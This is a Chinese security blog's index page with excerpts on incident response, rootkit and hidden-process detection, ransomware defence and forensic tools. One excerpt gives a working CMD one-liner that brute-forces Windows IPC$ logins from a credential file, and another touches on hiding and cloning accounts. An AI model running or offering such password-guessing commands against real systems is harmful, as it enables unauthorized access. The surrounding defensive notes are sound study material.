上一页 1 ··· 49 50 51 52 53 54 55 56 57 ··· 270 下一页
2022年2月26日
用简单CMD指令,进行IPC帐号的暴力破解
摘要： 用简单CMD指令,进行IPC帐号的暴力破解 用一段简单的CMD指令,,就能完成暴力破解的目的.请看:for /f "tokens=1,2*" %i in (load.txt)do net use \\127.0.0.1\ipc$ %j /user:%i&& echo \\127.0.0.1 acct 阅读全文
posted @ 2022-02-26 16:12 bonelee 阅读(381) 评论(0) 推荐(0) 编辑
unhide 搜索隐藏进程和 TCP/UDP 端口——通过修改加载的so文件来实现隐藏，待研究实现思路
摘要： 问题现象：服务器负载很高，top和ps 无法查看进程，有异常任务计划但是查不到进程排查困难 排查还在/etc/hosts发现增加了如下异常映射 猜测是，但是没有进程最终核实到是/etc/ld.so.preload 设置了隐藏进程 尝试直接删除或编辑此文件无效， 最终尝试echo “”>/etc/ld 阅读全文
posted @ 2022-02-26 15:29 bonelee 阅读(2392) 评论(0) 推荐(0) 编辑
rpm -Va 详解 ——可以校验软件包，看是否有篡改，便于rootkit检查啥的
摘要： rpm -Va 详解 rpm －Va：校验所有的RPM软件包，查找丢失的文件 [root@docker-test ~]# rpm -Va ....L.... c /etc/pam.d/fingerprint-auth ....L.... c /etc/pam.d/password-auth .... 阅读全文
posted @ 2022-02-26 12:01 bonelee 阅读(140) 评论(0) 推荐(0) 编辑
如何隐藏、克隆账号及两种排查隐藏账号方法
摘要： 如何隐藏、克隆账号及两种排查隐藏账号方法 https://baijiahao.baidu.com/s?id=1682072315172799977&wfr=spider&for=pc 为什么创建隐藏账号，大致有两种情况： 1）想把自己在电脑上新开的账户隐藏起来，不让人发现的账户，而自己又能随时随地登 阅读全文
posted @ 2022-02-26 11:02 bonelee 阅读(3108) 评论(0) 推荐(0) 编辑
process explorer 可以查看进程的网络通信情况 收发字节数
摘要： 网络里可以查看的选项： DLL里可以看到： 阅读全文
posted @ 2022-02-26 10:32 bonelee 阅读(204) 评论(0) 推荐(0) 编辑
2022年2月25日
勒索病毒解密工具汇总
摘要： 奇安信勒索病毒搜索引擎 使用 360 安全 卫士 的 勒索 病毒 搜索 引擎， 如图 4. 4. 2 所示。 使用 腾 讯 管家 的 勒索 病毒 搜索 引擎， 如图 4. 4. 3 所示 使用 ID Ransomware 勒索 病毒 解密 工具， 如图 4. 4. 4 所示。 使用 NOMORERA 阅读全文
posted @ 2022-02-25 12:11 bonelee 阅读(1344) 评论(0) 推荐(0) 编辑
奇安信勒索病毒防御方法——核心技术：检测恶意修改后自动备份+诱捕+智能文件格式分析+ML区分正常和恶意的篡改
摘要： 勒索 病毒 防御 方法 1. 个人 终端 防御 技术 1） 文档 自动 备份 隔离 文档 自动 备份 隔离 技术 是 奇 安 信 提出 的 一种 勒索 病毒 防御 技术。 该 技术 在 未来 一 两 年内 或 成为 安全 软件 反 勒索 技术 的 标 配。 鉴于 勒索 病毒 一旦 攻击 成功， 被 阅读全文
posted @ 2022-02-25 11:56 bonelee 阅读(686) 评论(0) 推荐(0) 编辑
360文档卫士——防勒索，通过即时的预警监测机制，360文档卫士能够“自动备份”您的文档。只要“监测到文档产生任何编辑或动作”，360文档卫士便会！！自动存取！！最新版本
摘要： 360文档卫士： 360文档卫士是一个强大的文档保护软件，能够有效防止您的贵重资料被勒索软件绑架。 为什么需要这个工具？ 因为勒索软件无孔不入且难以防备 勒索软件是一种特殊的木马病毒，它用加密的方式绑架用户贵重的文档和图片，让用户再也不能读取文件。这些网络犯罪份子散布病毒，并向文件被加密的受害者勒索 阅读全文
posted @ 2022-02-25 11:29 bonelee 阅读(655) 评论(0) 推荐(0) 编辑
如何防御供应链攻击——软件源安全+EDR运行时行为监控
摘要： 如何防御供应链攻击1.建立内部软件源或使用足够安全的软件源建立自己的软件源，软件源限定官方来源、加密同步协议https，并对其进行定期的维护与测试，及时发现问题。每将一款软件加入到自己的软件源的时候都要进行完善的安全审查才可以。如果没有能力自建软件源，则使用其他厂商自建的软件源即可，这里推荐使用腾讯 阅读全文
posted @ 2022-02-25 11:03 bonelee 阅读(388) 评论(0) 推荐(0) 编辑
SysinternalsSuite——todo，待实际使用
摘要： SysinternalsSuite sysinternals 的网站创立于1996年由Mark russinovich和布赖科格斯韦尔主办其先进的系统工具和技术资料·微软于2006年7月收购sysinternals公司 . 不管你是一个IT高级工作者还是一个开发者，你都会发现sysinternals 阅读全文
posted @ 2022-02-25 10:15 bonelee 阅读(132) 评论(0) 推荐(0) 编辑
上一页 1 ··· 49 50 51 52 53 54 55 56 57 ··· 270 下一页